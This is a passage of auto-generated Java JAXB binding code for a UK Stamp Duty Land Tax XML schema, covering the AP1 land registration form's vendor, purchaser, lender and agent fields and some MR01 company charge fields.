JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link SDLT.AP1 }{@code >} * {@link JAXBElement }{@code <}{@link SDLT.SDLT2 }{@code >} * {@link JAXBElement }{@code <}{@link SDLT.SDLT3 }{@code >} * {@link JAXBElement }{@code <}{@link SDLT.SDLT4 }{@code >} * * */ public List<JAXBElement<?>> getFIDOrFRefOrFDateCreated() { if (fidOrFRefOrFDateCreated == null) { fidOrFRefOrFDateCreated = new ArrayList<JAXBElement<?>>(); } return this.fidOrFRefOrFDateCreated; } /** * Gets the value of the sdlt property. * * @return * possible object is * {@link String } * */ public String getSdlt() { return sdlt; } /** * Sets the value of the sdlt property. * * @param value * allowed object is * {@link String } * */ public void setSdlt(String value) { this.sdlt = value; } /** * <p>Java class for anonymous complex type. * * <p>The following schema fragment specifies the expected content contained within this class. * * <pre> * &lt;complexType&gt; * &lt;complexContent&gt; * &lt;restriction base="{http://www.w3.org/2001/XMLSchema}anyType"&gt; * &lt;choice maxOccurs="unbounded" minOccurs="0"&gt; * &lt;element name="AP1_LeaseType" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_LandlordTitle" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_LandlordTitle2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_LandlordTitle3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_LandlordTitle4" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_TenantTitle" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PropertyWholeOrPart" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsVendorRepresented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_VendorRepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsVendor2Represented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_Vendor2RepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgent2Name" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurchAgent1" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchAgentName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurchaserService" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchaserServiceEmail" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServicePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurchLender" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchLenderName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderMDCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="AP1_IsPurchLenderRepresented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchLenderRepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurchRepresented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchRepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgent2Name" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurchaser2Service" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_Purchaser2ServiceEmail" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purchaser2ServiceHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purchaser2ServiceHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purchaser2ServiceAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purchaser2ServiceAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purchaser2ServiceAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purchaser2ServicePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purchaser2ServiceDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purchaser2ServiceDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurch2Lender" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_Purch2LenderName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2LenderMDCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2LenderChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="AP1_IsPurch2LenderRepresented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_Purch2LenderRepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2LenderLodgeName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2LenderLodgeHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2LenderLodgeHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2LenderLodgeAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2LenderLodgeAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2LenderLodgeAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2LenderLodgePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2LenderLodgeDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2LenderLodgeDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentPostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgent2HouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgent2HouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgent2Address1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgent2Address2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgent2Address3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgent2Postcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgent2DXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgent2DXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentPostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurch2Represented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_Purch2RepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgent2HouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgent2HouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgent2Address1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgent2Address2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgent2Address3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgent2Postcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgent2DXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgent2DXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchRole1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchRole2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Role1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Role2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorRole1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorRole2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2Role1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2Role2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderRole1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderRole2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2LenderRole1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2LenderRole2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchServiceAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchServiceAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchServiceAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2ServiceAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2ServiceAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2ServiceAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsVendorMortgage" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_IsVendorLender" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_VendorLenderName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderMDCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="AP1_IsVendorLenderRepresented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_VendorLenderRepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderRole1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderRole2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsVendor2Lender" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_Vendor2LenderName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2LenderMDCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2LenderChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="AP1_IsVendor2LenderRepresented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_Vendor2LenderRepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2LenderLodgeName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2LenderLodgeHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2LenderLodgeHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2LenderLodgeAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2LenderLodgeAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2LenderLodgeAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2LenderLodgePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2LenderLodgeDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2LenderLodgeDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2LenderRole1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2LenderRole2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurchLender2" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchLender2Name" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2MDCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2ChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="AP1_IsPurchLender2Represented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchLender2RepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2Role1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2Role2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurch2Lender2" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_Purch2Lender2Name" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Lender2MDCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Lender2ChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="AP1_IsPurch2Lender2Represented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_Purch2Lender2RepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Lender2LodgeName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Lender2LodgeHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Lender2LodgeHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Lender2LodgeAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Lender2LodgeAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Lender2LodgeAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Lender2LodgePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Lender2LodgeDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Lender2LodgeDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Lender2Role1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Lender2Role2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsVendorLender2" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_VendorLender2Name" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2MDCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2ChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="AP1_IsVendorLender2Represented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_VendorLender2RepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2Role1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2Role2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="MR01_CompanyPrefix" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="MR01_CompanyNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="MR01_CompanyName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="MR01_ChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="MR01_NameEntitled1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="MR01_NameEntitled2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="MR01_NameEntitled3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="MR01_IncludesOtherCharge" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="MR01_FloatingCharge" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="MR01_NegativeCharge" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;/choice&gt; * &lt;/restriction&gt; * &lt;/complexContent&gt; * &lt;/complexType&gt; * </pre> * * */ @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "", propOrder = { "ap1LeaseTypeOrAP1LandlordTitleOrAP1LandlordTitle2" }) public static class AP1 { @XmlElementRefs({ @XmlElementRef(name = "AP1_LeaseType", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_LandlordTitle", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_LandlordTitle2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_LandlordTitle3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_LandlordTitle4", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_TenantTitle", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PropertyWholeOrPart", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsVendorRepresented", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorRepresentedBy", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorAgentName", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsVendor2Represented", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Vendor2RepresentedBy", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorAgent2Name", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsPurchAgent1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchAgentName", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsPurchaserService", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchaserServiceEmail", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchaserServiceHouseNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchaserServiceHouseNo2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchaserServiceAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchaserServiceAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchaserServiceAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchaserServicePostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchaserServiceDXNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchaserServiceDXExchange", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsPurchLender", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderName", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderMDCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderChargeDate", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsPurchLenderRepresented", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderRepresentedBy", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderLodgeName", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderLodgeHouseNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderLodgeHouseNo2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderLodgeAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderLodgeAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderLodgeAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderLodgePostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderLodgeDXNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderLodgeDXExchange", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsPurchRepresented", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), 